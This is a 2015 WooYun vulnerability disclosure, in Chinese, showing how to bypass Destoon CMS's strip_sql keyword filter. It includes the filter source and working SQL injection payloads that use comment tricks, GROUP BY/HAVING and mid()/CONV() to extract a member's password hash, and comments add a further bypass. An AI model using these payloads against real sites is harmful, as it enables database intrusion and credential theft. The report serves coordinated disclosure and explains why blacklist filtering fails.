当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143187

漏洞标题:destoon 全版本 waf 绕过漏洞

相关厂商:DESTOON

漏洞作者: xiao.k

提交时间:2015-10-13 16:13

修复时间:2016-01-11 18:14

公开时间:2016-01-11 18:14

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-13: 细节已通知厂商并且等待厂商处理中
2015-10-13: 厂商已经确认,细节仅向厂商公开
2015-10-16: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-07: 细节向核心白帽子及相关领域专家公开
2015-12-17: 细节向普通白帽子公开
2015-12-27: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

strip_sql是destoon主要的安全防御函数。主要防御大多数情况下的注入漏洞。这个函数如果可以被绕过。那么会引发多个位置的注入漏洞。

详细说明:

## 源代码

function strip_sql($string, $type = 1) {
$match = array("/union/i","/where/i","/outfile/i","/dumpfile/i","/0x([a-f0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\{\(\+@])/i","/update([\s\*\/\-\{\(\+@])/i","/replace([\s\*\/\-\{\(\+@])/i","/delete([\s\*\/\-\{\(\+@])/i","/drop([\s\*\/\-\{\(\+@])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i");
$replace = array('union','where','outfile','dumpfile','0x\\1','select\\1from','select\\1','update\\1','replace\\1','delete\\1','drop\\1','load_file(','substring(','substr(','left(','concat(','concat_ws(','make_set(','ascii(','hex(','ord(','char(');
if($type) {
return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string);
} else {
return str_replace(array('d', 'e', 'g', 'i', 'n','p', 'r', 's', 't', 'x'), array('d', 'e', 'g', 'i', 'n', 'p', 'r', 's', 't', 'x'), $string);
}
}


## bypass
### select from和select的绕过技巧
漏洞的成因主要是程序人员对注入的不熟悉。过滤关键字的这种封堵方式早晚会出问题的。
首先,我们尝试输入一个常见的sql语句看看发送了什么

<?php
// sql=select 1
$sql = $_GET['sql'];
echo strip_sql($sql);


这时候输出的应该是 `selec&#116;1`。主要是被`select([\s\*\/\-\{\(\+@])`这一条进行替换的。
这条规则主要是判断了`{ ( @`等等。之前dede出了个漏洞使用了`@a=`这个技巧,现在看来不能用了。这个问题比较好解决。我们可以使用( \`)这个符号,它的叫`accent`。英文模式下按1左边的那个按键可以打出来。
接下来我们再试一下 sql=select\`1\`from\`admin\`。结果如下:

selec& #116;\`1\`from\`admin\`


被`select([\s\S]*?)from`检测到了。
这个函数比狠,我差点就放弃了。因为[\s\S]*?代表的含义是所有的字符。只有是同时出现select和from。那select必定要被替换掉。
思考了很久之后,我打算尝试利用他的字符替换,绕过她的防御体系。经过几次构造以后,我构造出了这个

sql = /*select*/SELECT`password`from `destoon_member`


当优先到达`select([\s\S]*?)from`时,我们的语句被被替换为

sql = /*selec& #116;*/SELECT`password`from `destoon_member`


当程序走到下一步 `select([\s\*\/\-\{\(\+@])`。我们的语句里只有了一个select,且不符合他的替换条件。那么语句可以原封不动的往下走。

sql = /*selec& #116;*/SELECT`password`from `destoon_member`


因为`/*` 与 `*/`是mysql里的注释符。所以这句sql不会引起任何的错误。
### where 的绕过技巧
这一步绕过了还不算完,因为我们要定位userid=1的用户。因为`/where/i`的原因,where是不能出现了,我们要利用其他的技巧。

sql = /*select*/SELECT`password`from `destoon_member` GROUP BY userid HAVING userid = 1


GROUP BY + HAVING 是可以帮助我们定位的。
### 字符猜解的绕过技巧
程序中过滤了很多猜解字符串需要的函数例如:substring/substr/left...但是好像忘记了right和mid?

sql = mid( (/*selec*/SELECT`password`from `destoon_member` GROUP BY userid HAVING userid = 1) , 1, 1 )


找到字符以后,需要对字符串进行转换。这方面,程序对ascii、hex、ord、char进行了过滤,但是CONV呢?

CONV(mid( (/*selec*/SELECT`password`from `destoon_member` GROUP BY userid HAVING userid = 1) , 1, 1 ),16,10)=16


##最后
我们可以使用下方语句bypass waf。

CONV(mid( (/*selec*/SELECT`password`from `destoon_member` GROUP BY userid HAVING userid = 1) , 1, 1 ),16,10)=16

漏洞证明:

语句没有被任何转换。

结果.JPG


因为篇幅问题,因为waf被绕过而导致的注入就不在这写了。

修复方案:

先优化一下strip_sql吧。然后争取在后续版本废掉这个函数。使用黑名单去防止注入,是防不住的。

版权声明:转载请注明来源 xiao.k@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-10-13 18:13

厂商回复:

感谢反馈 我们会尽快修复

最新状态:

暂无


漏洞评价:

评价

  1. 2015-11-04 10:18 | Xser ( 普通白帽子 | Rank:353 漏洞数:81 | JDSec)

    目测是right

  2. 2015-11-04 10:27 | xiao.k ( 普通白帽子 | Rank:153 漏洞数:15 | 纳威网络安全导航 navisec.it)

    你目测的不全

  3. 2015-11-04 10:36 | Xser ( 普通白帽子 | Rank:353 漏洞数:81 | JDSec)

    @xiao.k right(version(),1) between 0 and 4之前这么绕,现在就被修了